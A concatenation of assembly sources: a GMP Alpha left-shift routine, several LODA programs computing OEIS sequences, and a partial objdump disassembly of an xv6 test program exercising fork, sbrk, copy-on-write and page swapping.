dnl Copyright (C) 1994, 1995, 2000 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published by
dnl the Free Software Foundation; either version 2.1 of the License, or (at your
dnl option) any later version.
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the GNU MP Library; see the file COPYING.LIB. If not, write to
dnl the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston,
dnl MA 02111-1307, USA.
include(`../config.m4')
dnl INPUT PARAMETERS
dnl res_ptr r16
dnl s1_ptr r17
dnl size r18
dnl cnt r19
dnl This code runs at 3.25 cycles/limb on the EV5.
ASM_START()
PROLOGUE(mpn_lshift)
s8addq r18,r17,r17 C make r17 point at end of s1
ldq r4,-8(r17) C load first limb
subq r31,r19,r20
s8addq r18,r16,r16 C make r16 point at end of RES
subq r18,1,r18
and r18,4-1,r28 C number of limbs in first loop
srl r4,r20,r0 C compute function result
beq r28,$L0
subq r18,r28,r18
ALIGN(8)
$Loop0: ldq r3,-16(r17)
subq r16,8,r16
sll r4,r19,r5
subq r17,8,r17
subq r28,1,r28
srl r3,r20,r6
bis r3,r3,r4
bis r5,r6,r8
stq r8,0(r16)
bne r28,$Loop0
$L0: sll r4,r19,r24
beq r18,$Lend
C warm up phase 1
ldq r1,-16(r17)
subq r18,4,r18
ldq r2,-24(r17)
ldq r3,-32(r17)
ldq r4,-40(r17)
beq r18,$Lend1
C warm up phase 2
srl r1,r20,r7
sll r1,r19,r21
srl r2,r20,r8
ldq r1,-48(r17)
sll r2,r19,r22
ldq r2,-56(r17)
srl r3,r20,r5
bis r7,r24,r7
sll r3,r19,r23
bis r8,r21,r8
srl r4,r20,r6
ldq r3,-64(r17)
sll r4,r19,r24
ldq r4,-72(r17)
subq r18,4,r18
beq r18,$Lend2
ALIGN(16)
C main loop
$Loop: stq r7,-8(r16)
bis r5,r22,r5
stq r8,-16(r16)
bis r6,r23,r6
srl r1,r20,r7
subq r18,4,r18
sll r1,r19,r21
unop C ldq r31,-96(r17)
srl r2,r20,r8
ldq r1,-80(r17)
sll r2,r19,r22
ldq r2,-88(r17)
stq r5,-24(r16)
bis r7,r24,r7
stq r6,-32(r16)
bis r8,r21,r8
srl r3,r20,r5
unop C ldq r31,-96(r17)
sll r3,r19,r23
subq r16,32,r16
srl r4,r20,r6
ldq r3,-96(r17)
sll r4,r19,r24
ldq r4,-104(r17)
subq r17,32,r17
bne r18,$Loop
C cool down phase 2/1
$Lend2: stq r7,-8(r16)
bis r5,r22,r5
stq r8,-16(r16)
bis r6,r23,r6
srl r1,r20,r7
sll r1,r19,r21
srl r2,r20,r8
sll r2,r19,r22
stq r5,-24(r16)
bis r7,r24,r7
stq r6,-32(r16)
bis r8,r21,r8
srl r3,r20,r5
sll r3,r19,r23
srl r4,r20,r6
sll r4,r19,r24
C cool down phase 2/2
stq r7,-40(r16)
bis r5,r22,r5
stq r8,-48(r16)
bis r6,r23,r6
stq r5,-56(r16)
stq r6,-64(r16)
C cool down phase 2/3
stq r24,-72(r16)
ret r31,(r26),1
C cool down phase 1/1
$Lend1: srl r1,r20,r7
sll r1,r19,r21
srl r2,r20,r8
sll r2,r19,r22
srl r3,r20,r5
bis r7,r24,r7
sll r3,r19,r23
bis r8,r21,r8
srl r4,r20,r6
sll r4,r19,r24
C cool down phase 1/2
stq r7,-8(r16)
bis r5,r22,r5
stq r8,-16(r16)
bis r6,r23,r6
stq r5,-24(r16)
stq r6,-32(r16)
stq r24,-40(r16)
ret r31,(r26),1
$Lend: stq r24,-8(r16)
ret r31,(r26),1
EPILOGUE(mpn_lshift)
ASM_END()
|
programs/oeis/183/A183573.asm
|
neoneye/loda
| 22 |
167072
|
; A183573: a(n) = n + floor(sqrt(2n+1)).
; 2,4,5,7,8,9,10,12,13,14,15,17,18,19,20,21,22,24,25,26,27,28,29,31,32,33,34,35,36,37,38,40,41,42,43,44,45,46,47,49,50,51,52,53,54,55,56,57,58,60,61,62,63,64,65,66,67,68,69,71,72,73,74,75,76,77,78,79,80,81,82,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,112,113,114
mul $0,2
mov $1,$0
lpb $1
sub $2,2
add $1,$2
trn $1,3
lpe
sub $0,$2
div $0,2
add $0,2
|
oeis/334/A334202.asm
|
neoneye/loda-programs
| 11 |
243169
|
<reponame>neoneye/loda-programs
; A334202: a(n) = A064097(n) - A323077(n).
; Submitted by <NAME>(w2)
; 0,1,2,1,3,2,4,1,2,3,5,2,5,4,3,1,5,2,6,3,4,5,7,2,3,5,2,4,7,3,7,1,5,5,4,2,7,6,5,3,7,4,8,5,3,7,9,2,4,3,5,5,8,2,5,4,6,7,9,3,8,7,4,1,5,5,9,5,7,4,9,2,8,7,3,6,5,5,9,3,2,7,9,4,5,8,7,5,9,3,5,7,7,9,6,2,8,4,5,3
seq $0,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
pow $0,2
mov $2,1
add $2,$0
mul $0,$2
sub $0,$2
seq $0,64097 ; A quasi-logarithm defined inductively by a(1) = 0 and a(p) = 1 + a(p-1) if p is prime and a(n*m) = a(n) + a(m) if m,n > 1.
div $0,4
|
programs/oeis/160/A160928.asm
|
neoneye/loda
| 22 |
336
|
<gh_stars>10-100
; A160928: a(n) = n - reversal(n-1)
; 1,1,1,1,1,1,1,1,1,1,10,1,-8,-17,-26,-35,-44,-53,-62,-71,19,10,1,-8,-17,-26,-35,-44,-53,-62,28,19,10,1,-8,-17,-26,-35,-44,-53,37,28,19,10,1,-8,-17,-26,-35,-44,46,37,28,19,10,1,-8,-17,-26,-35,55,46,37,28,19,10,1,-8
lpb $0
mov $2,$0
div $0,10
mod $2,10
mov $3,$2
mov $2,$0
mov $0,9
sub $1,$3
add $1,$2
lpe
mul $1,9
add $1,1
mov $0,$1
|
ass3Tests.asm
|
chendoy/xv6-paging
| 0 |
246795
|
<reponame>chendoy/xv6-paging
_ass3Tests: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
}
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
// simple_fork_test();
// pagefault_test();
// free_pages_test();
free_pages_with_swap_test(); // not relevant to selection=None
11: e8 ea 05 00 00 call 600 <free_pages_with_swap_test>
// num_pages_test();
// pagefault_cow_test();
// cow_refs_test();
// allocate_more_than_MaxPages_test(); // should pass only with selection=None
exit();
16: e8 f7 08 00 00 call 912 <exit>
1b: 66 90 xchg %ax,%ax
1d: 66 90 xchg %ax,%ax
1f: 90 nop
00000020 <simple_fork_test>:
{
20: 55 push %ebp
21: 89 e5 mov %esp,%ebp
23: 83 ec 10 sub $0x10,%esp
printf(1, "\n-------- simple_fork_test --------\n");
26: 68 c8 0d 00 00 push $0xdc8
2b: 6a 01 push $0x1
2d: e8 3e 0a 00 00 call a70 <printf>
pid = fork();
32: e8 d3 08 00 00 call 90a <fork>
if(pid == 0) // child
37: 83 c4 10 add $0x10,%esp
3a: 85 c0 test %eax,%eax
3c: 74 21 je 5f <simple_fork_test+0x3f>
sleep(20);
3e: 83 ec 0c sub $0xc,%esp
41: 6a 14 push $0x14
43: e8 5a 09 00 00 call 9a2 <sleep>
printf(1, "I'm parent!\n");
48: 58 pop %eax
49: 5a pop %edx
4a: 68 28 11 00 00 push $0x1128
4f: 6a 01 push $0x1
51: e8 1a 0a 00 00 call a70 <printf>
wait();
56: 83 c4 10 add $0x10,%esp
}
59: c9 leave
wait();
5a: e9 bb 08 00 00 jmp 91a <wait>
printf(1, "I'm child!\n");
5f: 51 push %ecx
60: 51 push %ecx
61: 68 1c 11 00 00 push $0x111c
66: 6a 01 push $0x1
68: e8 03 0a 00 00 call a70 <printf>
exit();
6d: e8 a0 08 00 00 call 912 <exit>
72: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000080 <free_pages_with_swap_test1>:
{
80: 55 push %ebp
81: 89 e5 mov %esp,%ebp
83: 53 push %ebx
84: 83 ec 04 sub $0x4,%esp
int init_free = getNumberOfFreePages();
87: e8 26 09 00 00 call 9b2 <getNumberOfFreePages>
printf(1, "init free pages: %d\n", init_free);
8c: 83 ec 04 sub $0x4,%esp
int init_free = getNumberOfFreePages();
8f: 89 c3 mov %eax,%ebx
printf(1, "init free pages: %d\n", init_free);
91: 50 push %eax
92: 68 35 11 00 00 push $0x1135
97: 6a 01 push $0x1
99: e8 d2 09 00 00 call a70 <printf>
printf(1, "sbrk res: %d\n", (sbrk(3 * PGSIZE)));
9e: c7 04 24 00 30 00 00 movl $0x3000,(%esp)
a5: e8 f0 08 00 00 call 99a <sbrk>
aa: 83 c4 0c add $0xc,%esp
ad: 50 push %eax
ae: 68 4a 11 00 00 push $0x114a
b3: 6a 01 push $0x1
b5: e8 b6 09 00 00 call a70 <printf>
printf(1, "sbrk res: %d\n", (sbrk(3 * PGSIZE)));
ba: c7 04 24 00 30 00 00 movl $0x3000,(%esp)
c1: e8 d4 08 00 00 call 99a <sbrk>
c6: 83 c4 0c add $0xc,%esp
c9: 50 push %eax
ca: 68 4a 11 00 00 push $0x114a
cf: 6a 01 push $0x1
d1: e8 9a 09 00 00 call a70 <printf>
printf(1, "sbrk res: %d\n", (sbrk(3 * PGSIZE)));
d6: c7 04 24 00 30 00 00 movl $0x3000,(%esp)
dd: e8 b8 08 00 00 call 99a <sbrk>
e2: 83 c4 0c add $0xc,%esp
e5: 50 push %eax
e6: 68 4a 11 00 00 push $0x114a
eb: 6a 01 push $0x1
ed: e8 7e 09 00 00 call a70 <printf>
printf(1, "allocated 9 pages. <should be: %d> <actually: %d>\n",init_free-9, getNumberOfFreePages());
f2: e8 bb 08 00 00 call 9b2 <getNumberOfFreePages>
f7: 50 push %eax
f8: 8d 43 f7 lea -0x9(%ebx),%eax
printf(1, "allocated 3 more pages. <should be: %d> <actually: %d>\n",init_free-12, getNumberOfFreePages());
fb: 83 eb 0c sub $0xc,%ebx
printf(1, "allocated 9 pages. <should be: %d> <actually: %d>\n",init_free-9, getNumberOfFreePages());
fe: 50 push %eax
ff: 68 f0 0d 00 00 push $0xdf0
104: 6a 01 push $0x1
106: e8 65 09 00 00 call a70 <printf>
printf(1, "a %d\n", (sbrk(3 * PGSIZE)));
10b: 83 c4 14 add $0x14,%esp
10e: 68 00 30 00 00 push $0x3000
113: e8 82 08 00 00 call 99a <sbrk>
118: 83 c4 0c add $0xc,%esp
11b: 50 push %eax
11c: 68 58 11 00 00 push $0x1158
121: 6a 01 push $0x1
123: e8 48 09 00 00 call a70 <printf>
printf(1, "allocated 3 more pages. <should be: %d> <actually: %d>\n",init_free-12, getNumberOfFreePages());
128: e8 85 08 00 00 call 9b2 <getNumberOfFreePages>
12d: 50 push %eax
12e: 53 push %ebx
12f: 68 24 0e 00 00 push $0xe24
134: 6a 01 push $0x1
136: e8 35 09 00 00 call a70 <printf>
printf(1, "sbrk res: %d\n", (sbrk(1 * PGSIZE)));
13b: 83 c4 14 add $0x14,%esp
13e: 68 00 10 00 00 push $0x1000
143: e8 52 08 00 00 call 99a <sbrk>
148: 83 c4 0c add $0xc,%esp
14b: 50 push %eax
14c: 68 4a 11 00 00 push $0x114a
151: 6a 01 push $0x1
153: e8 18 09 00 00 call a70 <printf>
printf(1, "allocated 1 more file, will swap page to disk. <should be: %d> <actually: %d> \n", init_free-12, getNumberOfFreePages());
158: e8 55 08 00 00 call 9b2 <getNumberOfFreePages>
15d: 50 push %eax
15e: 53 push %ebx
15f: 68 5c 0e 00 00 push $0xe5c
164: 6a 01 push $0x1
166: e8 05 09 00 00 call a70 <printf>
}
16b: 83 c4 20 add $0x20,%esp
16e: 8b 5d fc mov -0x4(%ebp),%ebx
171: c9 leave
172: c3 ret
173: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
179: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000180 <pagefault_test>:
{
180: 55 push %ebp
181: 89 e5 mov %esp,%ebp
183: 53 push %ebx
184: 83 ec 10 sub $0x10,%esp
char *arr = (char*)malloc(len);
187: 68 00 f0 00 00 push $0xf000
18c: e8 3f 0b 00 00 call cd0 <malloc>
memset((void*)arr, '0', len);
191: 83 c4 0c add $0xc,%esp
char *arr = (char*)malloc(len);
194: 89 c3 mov %eax,%ebx
memset((void*)arr, '0', len);
196: 68 00 f0 00 00 push $0xf000
19b: 6a 30 push $0x30
19d: 50 push %eax
19e: e8 cd 05 00 00 call 770 <memset>
printf(1,"arr[0]: %c\n", arr[0]);
1a3: 0f be 03 movsbl (%ebx),%eax
1a6: 83 c4 0c add $0xc,%esp
1a9: 50 push %eax
1aa: 68 5e 11 00 00 push $0x115e
1af: 6a 01 push $0x1
1b1: e8 ba 08 00 00 call a70 <printf>
printf(1,"arr[0]: %c\n", arr[len/2]);
1b6: 0f be 83 00 78 00 00 movsbl 0x7800(%ebx),%eax
1bd: 83 c4 0c add $0xc,%esp
1c0: 50 push %eax
1c1: 68 5e 11 00 00 push $0x115e
1c6: 6a 01 push $0x1
1c8: e8 a3 08 00 00 call a70 <printf>
printf(1,"arr[0]: %c\n", arr[len-1]);
1cd: 0f be 83 ff ef 00 00 movsbl 0xefff(%ebx),%eax
1d4: 83 c4 0c add $0xc,%esp
1d7: 50 push %eax
1d8: 68 5e 11 00 00 push $0x115e
1dd: 6a 01 push $0x1
1df: e8 8c 08 00 00 call a70 <printf>
return;
1e4: 83 c4 10 add $0x10,%esp
}
1e7: 8b 5d fc mov -0x4(%ebp),%ebx
1ea: c9 leave
1eb: c3 ret
1ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000001f0 <pagefault_cow_test>:
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 53 push %ebx
1f4: 83 ec 10 sub $0x10,%esp
char *arr = (char*)malloc(len);
1f7: 68 00 d0 00 00 push $0xd000
1fc: e8 cf 0a 00 00 call cd0 <malloc>
memset((void*)arr, '0', len); // will cause some pagefaults
201: 83 c4 0c add $0xc,%esp
char *arr = (char*)malloc(len);
204: 89 c3 mov %eax,%ebx
memset((void*)arr, '0', len); // will cause some pagefaults
206: 68 00 d0 00 00 push $0xd000
20b: 6a 30 push $0x30
20d: 50 push %eax
20e: e8 5d 05 00 00 call 770 <memset>
if((pid = fork()) == 0) // child
213: e8 f2 06 00 00 call 90a <fork>
218: 83 c4 10 add $0x10,%esp
21b: 85 c0 test %eax,%eax
21d: 74 37 je 256 <pagefault_cow_test+0x66>
wait();
21f: e8 f6 06 00 00 call 91a <wait>
printf(1, "parent: arr[0]: %c (should be \'0\')\n" ,arr[0]);
224: 0f be 03 movsbl (%ebx),%eax
227: 83 ec 04 sub $0x4,%esp
22a: 50 push %eax
22b: 68 b0 0e 00 00 push $0xeb0
230: 6a 01 push $0x1
232: e8 39 08 00 00 call a70 <printf>
printf(1, "parent: arr[1000]: %c (should be \'0\')\n",arr[1000]);
237: 0f be 83 e8 03 00 00 movsbl 0x3e8(%ebx),%eax
23e: 83 c4 0c add $0xc,%esp
241: 50 push %eax
242: 68 d4 0e 00 00 push $0xed4
247: 6a 01 push $0x1
249: e8 22 08 00 00 call a70 <printf>
return;
24e: 83 c4 10 add $0x10,%esp
}
251: 8b 5d fc mov -0x4(%ebp),%ebx
254: c9 leave
255: c3 ret
printf(1, "child: writing \'1\'s arr\n");
256: 50 push %eax
257: 50 push %eax
258: 68 6a 11 00 00 push $0x116a
25d: 6a 01 push $0x1
25f: e8 0c 08 00 00 call a70 <printf>
memset((void*)arr, '1', len);
264: 83 c4 0c add $0xc,%esp
267: 68 00 d0 00 00 push $0xd000
26c: 6a 31 push $0x31
26e: 53 push %ebx
26f: e8 fc 04 00 00 call 770 <memset>
exit();
274: e8 99 06 00 00 call 912 <exit>
279: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000280 <cow_refs_test>:
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 53 push %ebx
284: 83 ec 10 sub $0x10,%esp
char *arr = (char*)malloc(len);
287: 68 00 80 00 00 push $0x8000
28c: e8 3f 0a 00 00 call cd0 <malloc>
memset((void*)arr, '0', len); // will cause some pagefaults
291: 83 c4 0c add $0xc,%esp
char *arr = (char*)malloc(len);
294: 89 c3 mov %eax,%ebx
memset((void*)arr, '0', len); // will cause some pagefaults
296: 68 00 80 00 00 push $0x8000
29b: 6a 30 push $0x30
29d: 50 push %eax
29e: e8 cd 04 00 00 call 770 <memset>
if((pid = fork()) == 0) // child
2a3: e8 62 06 00 00 call 90a <fork>
2a8: 83 c4 10 add $0x10,%esp
2ab: 85 c0 test %eax,%eax
2ad: 74 09 je 2b8 <cow_refs_test+0x38>
}
2af: 8b 5d fc mov -0x4(%ebp),%ebx
2b2: c9 leave
wait();
2b3: e9 62 06 00 00 jmp 91a <wait>
printf(1, "before child write on arr num ref of rampage[%d] is : %d\n",6 , getNumRefs(6));
2b8: 83 ec 0c sub $0xc,%esp
2bb: 6a 06 push $0x6
2bd: e8 f8 06 00 00 call 9ba <getNumRefs>
2c2: 50 push %eax
2c3: 6a 06 push $0x6
2c5: 68 fc 0e 00 00 push $0xefc
2ca: 6a 01 push $0x1
2cc: e8 9f 07 00 00 call a70 <printf>
memset((void*)arr, '1', len);
2d1: 83 c4 1c add $0x1c,%esp
2d4: 68 00 80 00 00 push $0x8000
2d9: 6a 31 push $0x31
2db: 53 push %ebx
2dc: e8 8f 04 00 00 call 770 <memset>
printf(1, "after child write on arr num ref of rampage[%d] is : %d\n",6, getNumRefs(6));
2e1: c7 04 24 06 00 00 00 movl $0x6,(%esp)
2e8: e8 cd 06 00 00 call 9ba <getNumRefs>
2ed: 50 push %eax
2ee: 6a 06 push $0x6
2f0: 68 38 0f 00 00 push $0xf38
2f5: 6a 01 push $0x1
2f7: e8 74 07 00 00 call a70 <printf>
exit();
2fc: 83 c4 20 add $0x20,%esp
2ff: e8 0e 06 00 00 call 912 <exit>
304: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
30a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000310 <num_pages_test>:
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 57 push %edi
314: 56 push %esi
315: 53 push %ebx
316: 83 ec 28 sub $0x28,%esp
char* oldbrk = sbrk(0);
319: 6a 00 push $0x0
31b: e8 7a 06 00 00 call 99a <sbrk>
320: 89 45 e4 mov %eax,-0x1c(%ebp)
printf(1, "sbrk test\n");
323: 58 pop %eax
324: 5a pop %edx
325: 68 83 11 00 00 push $0x1183
32a: 6a 01 push $0x1
32c: e8 3f 07 00 00 call a70 <printf>
printf(1, "allocating 10 pages, should not write to swap\n");
331: 59 pop %ecx
332: 5b pop %ebx
333: 68 74 0f 00 00 push $0xf74
338: 6a 01 push $0x1
33a: e8 31 07 00 00 call a70 <printf>
a = sbrk(0);
33f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
346: e8 4f 06 00 00 call 99a <sbrk>
34b: 8d b0 00 c0 00 00 lea 0xc000(%eax),%esi
351: 89 c3 mov %eax,%ebx
353: 83 c4 10 add $0x10,%esp
356: 8d 76 00 lea 0x0(%esi),%esi
359: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
b = sbrk(PGSIZE);
360: 83 ec 0c sub $0xc,%esp
363: 68 00 10 00 00 push $0x1000
368: e8 2d 06 00 00 call 99a <sbrk>
printf(1, "%x -> ", b);
36d: 83 c4 0c add $0xc,%esp
b = sbrk(PGSIZE);
370: 89 c7 mov %eax,%edi
printf(1, "%x -> ", b);
372: 50 push %eax
373: 68 8e 11 00 00 push $0x118e
378: 6a 01 push $0x1
37a: e8 f1 06 00 00 call a70 <printf>
if(b != a){
37f: 83 c4 10 add $0x10,%esp
382: 39 df cmp %ebx,%edi
384: 75 2e jne 3b4 <num_pages_test+0xa4>
*b = 1;
386: c6 03 01 movb $0x1,(%ebx)
a = b + PGSIZE;
389: 81 c3 00 10 00 00 add $0x1000,%ebx
for(i = 0; i < 12; i++){
38f: 39 de cmp %ebx,%esi
391: 75 cd jne 360 <num_pages_test+0x50>
printf(1, "\ncreating child process\n");
393: 83 ec 08 sub $0x8,%esp
396: 68 95 11 00 00 push $0x1195
39b: 6a 01 push $0x1
39d: e8 ce 06 00 00 call a70 <printf>
pid = fork();
3a2: e8 63 05 00 00 call 90a <fork>
if(pid < 0){
3a7: 83 c4 10 add $0x10,%esp
3aa: 85 c0 test %eax,%eax
3ac: 0f 88 b5 01 00 00 js 567 <num_pages_test+0x257>
if(pid > 0) // parent will writeToSwapFile
3b2: 75 0c jne 3c0 <num_pages_test+0xb0>
exit();
3b4: e8 59 05 00 00 call 912 <exit>
3b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
int ramPagesBefore = getNumberOfFreePages();
3c0: e8 ed 05 00 00 call 9b2 <getNumberOfFreePages>
c = sbrk(PGSIZE);
3c5: 83 ec 0c sub $0xc,%esp
int ramPagesBefore = getNumberOfFreePages();
3c8: 89 c3 mov %eax,%ebx
c = sbrk(PGSIZE);
3ca: 68 00 10 00 00 push $0x1000
3cf: e8 c6 05 00 00 call 99a <sbrk>
if(c != a){
3d4: 83 c4 10 add $0x10,%esp
3d7: 39 f0 cmp %esi,%eax
3d9: 0f 85 9b 01 00 00 jne 57a <num_pages_test+0x26a>
int ramPagesAfter = getNumberOfFreePages();
3df: e8 ce 05 00 00 call 9b2 <getNumberOfFreePages>
printf(1, "parent: %d should be equal to %d\n", ramPagesBefore, ramPagesAfter);
3e4: 50 push %eax
3e5: 53 push %ebx
3e6: 68 a4 0f 00 00 push $0xfa4
3eb: 6a 01 push $0x1
3ed: e8 7e 06 00 00 call a70 <printf>
wait();
3f2: e8 23 05 00 00 call 91a <wait>
printf(1, "*********************************\n");
3f7: 5f pop %edi
3f8: 58 pop %eax
3f9: 68 c8 0f 00 00 push $0xfc8
3fe: 6a 01 push $0x1
400: e8 6b 06 00 00 call a70 <printf>
a = sbrk(0);
405: c7 04 24 00 00 00 00 movl $0x0,(%esp)
40c: e8 89 05 00 00 call 99a <sbrk>
c = sbrk(-4096);
411: c7 04 24 00 f0 ff ff movl $0xfffff000,(%esp)
a = sbrk(0);
418: 89 c3 mov %eax,%ebx
c = sbrk(-4096);
41a: e8 7b 05 00 00 call 99a <sbrk>
if(c == (char*)0xffffffff){
41f: 83 c4 10 add $0x10,%esp
422: 83 f8 ff cmp $0xffffffff,%eax
425: 0f 84 62 01 00 00 je 58d <num_pages_test+0x27d>
printf(1, "*********************************\n");
42b: 83 ec 08 sub $0x8,%esp
42e: 68 c8 0f 00 00 push $0xfc8
433: 6a 01 push $0x1
435: e8 36 06 00 00 call a70 <printf>
c = sbrk(0);
43a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
441: e8 54 05 00 00 call 99a <sbrk>
if(c != a - 4096){
446: 8d 93 00 f0 ff ff lea -0x1000(%ebx),%edx
44c: 83 c4 10 add $0x10,%esp
44f: 39 d0 cmp %edx,%eax
451: 0f 85 49 01 00 00 jne 5a0 <num_pages_test+0x290>
a = sbrk(0);
457: 83 ec 0c sub $0xc,%esp
45a: 6a 00 push $0x0
45c: e8 39 05 00 00 call 99a <sbrk>
461: 89 c3 mov %eax,%ebx
c = sbrk(4096);
463: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
46a: e8 2b 05 00 00 call 99a <sbrk>
if(c != a || sbrk(0) != a + 4096){
46f: 83 c4 10 add $0x10,%esp
472: 39 c3 cmp %eax,%ebx
c = sbrk(4096);
474: 89 c6 mov %eax,%esi
if(c != a || sbrk(0) != a + 4096){
476: 0f 85 d8 00 00 00 jne 554 <num_pages_test+0x244>
47c: 83 ec 0c sub $0xc,%esp
47f: 6a 00 push $0x0
481: e8 14 05 00 00 call 99a <sbrk>
486: 8d 93 00 10 00 00 lea 0x1000(%ebx),%edx
48c: 83 c4 10 add $0x10,%esp
48f: 39 d0 cmp %edx,%eax
491: 0f 85 bd 00 00 00 jne 554 <num_pages_test+0x244>
char *curbrk = sbrk(0);
497: 83 ec 0c sub $0xc,%esp
49a: 6a 00 push $0x0
49c: e8 f9 04 00 00 call 99a <sbrk>
int size = curbrk - oldbrk;
4a1: 8b 75 e4 mov -0x1c(%ebp),%esi
4a4: 29 f0 sub %esi,%eax
4a6: 89 c3 mov %eax,%ebx
printf(1, "proc size in bytes: %d, in pages: %d\n", size, size / PGSIZE);
4a8: 8d 80 ff 0f 00 00 lea 0xfff(%eax),%eax
4ae: 85 db test %ebx,%ebx
4b0: 0f 49 c3 cmovns %ebx,%eax
4b3: c1 f8 0c sar $0xc,%eax
4b6: 50 push %eax
4b7: 53 push %ebx
4b8: 68 4c 10 00 00 push $0x104c
4bd: 6a 01 push $0x1
4bf: e8 ac 05 00 00 call a70 <printf>
printf(1, "filling mem with junk (should not cause pagefaults)\n");
4c4: 83 c4 18 add $0x18,%esp
4c7: 68 74 10 00 00 push $0x1074
4cc: 6a 01 push $0x1
4ce: e8 9d 05 00 00 call a70 <printf>
memset((void*)oldbrk, '1', size);
4d3: 83 c4 0c add $0xc,%esp
4d6: 53 push %ebx
4d7: 6a 31 push $0x31
4d9: 56 push %esi
4da: e8 91 02 00 00 call 770 <memset>
memset((void*)oldbrk, '$', size);
4df: 83 c4 0c add $0xc,%esp
4e2: 53 push %ebx
4e3: 6a 24 push $0x24
4e5: 56 push %esi
4e6: e8 85 02 00 00 call 770 <memset>
memset((void*)oldbrk, 3, size);
4eb: 83 c4 0c add $0xc,%esp
4ee: 53 push %ebx
4ef: 6a 03 push $0x3
4f1: 56 push %esi
4f2: e8 79 02 00 00 call 770 <memset>
printf(1, "*********************************\n");
4f7: 58 pop %eax
4f8: 5a pop %edx
4f9: 68 c8 0f 00 00 push $0xfc8
4fe: 6a 01 push $0x1
500: e8 6b 05 00 00 call a70 <printf>
printf(1, "alocating 3 more pages up to limit (16) - should cause 3 swaps\n");
505: 59 pop %ecx
506: 5b pop %ebx
507: 68 ac 10 00 00 push $0x10ac
50c: 6a 01 push $0x1
50e: e8 5d 05 00 00 call a70 <printf>
sbrk(3 * PGSIZE);
513: c7 04 24 00 30 00 00 movl $0x3000,(%esp)
51a: e8 7b 04 00 00 call 99a <sbrk>
curbrk = sbrk(0);
51f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
526: e8 6f 04 00 00 call 99a <sbrk>
size = curbrk - oldbrk;
52b: 29 f0 sub %esi,%eax
printf(1, "proc size in bytes: %d, in pages: %d\n", size, size / PGSIZE);
52d: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
533: 85 c0 test %eax,%eax
535: 0f 49 d0 cmovns %eax,%edx
538: c1 fa 0c sar $0xc,%edx
53b: 52 push %edx
53c: 50 push %eax
53d: 68 4c 10 00 00 push $0x104c
542: 6a 01 push $0x1
544: e8 27 05 00 00 call a70 <printf>
return;
549: 83 c4 20 add $0x20,%esp
}
54c: 8d 65 f4 lea -0xc(%ebp),%esp
54f: 5b pop %ebx
550: 5e pop %esi
551: 5f pop %edi
552: 5d pop %ebp
553: c3 ret
printf(1, "sbrk re-allocation failed, a %x c %x\n", a, c);
554: 56 push %esi
555: 53 push %ebx
556: 68 24 10 00 00 push $0x1024
55b: 6a 01 push $0x1
55d: e8 0e 05 00 00 call a70 <printf>
exit();
562: e8 ab 03 00 00 call 912 <exit>
printf(1, "sbrk test fork failed\n");
567: 50 push %eax
568: 50 push %eax
569: 68 ae 11 00 00 push $0x11ae
56e: 6a 01 push $0x1
570: e8 fb 04 00 00 call a70 <printf>
exit();
575: e8 98 03 00 00 call 912 <exit>
printf(1, "sbrk test failed post-fork\n");
57a: 50 push %eax
57b: 50 push %eax
57c: 68 c5 11 00 00 push $0x11c5
581: 6a 01 push $0x1
583: e8 e8 04 00 00 call a70 <printf>
exit();
588: e8 85 03 00 00 call 912 <exit>
printf(1, "sbrk could not deallocate\n");
58d: 56 push %esi
58e: 56 push %esi
58f: 68 e1 11 00 00 push $0x11e1
594: 6a 01 push $0x1
596: e8 d5 04 00 00 call a70 <printf>
exit();
59b: e8 72 03 00 00 call 912 <exit>
printf(1, "sbrk deallocation produced wrong address, a %x c %x\n", a, c);
5a0: 50 push %eax
5a1: 53 push %ebx
5a2: 68 ec 0f 00 00 push $0xfec
5a7: 6a 01 push $0x1
5a9: e8 c2 04 00 00 call a70 <printf>
exit();
5ae: e8 5f 03 00 00 call 912 <exit>
5b3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
5b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000005c0 <free_pages_test>:
{
5c0: 55 push %ebp
5c1: 89 e5 mov %esp,%ebp
5c3: 53 push %ebx
5c4: 83 ec 04 sub $0x4,%esp
int init = getNumberOfFreePages();
5c7: e8 e6 03 00 00 call 9b2 <getNumberOfFreePages>
char *arr = sbrk(len);
5cc: 83 ec 0c sub $0xc,%esp
int init = getNumberOfFreePages();
5cf: 89 c3 mov %eax,%ebx
char *arr = sbrk(len);
5d1: 68 00 a0 00 00 push $0xa000
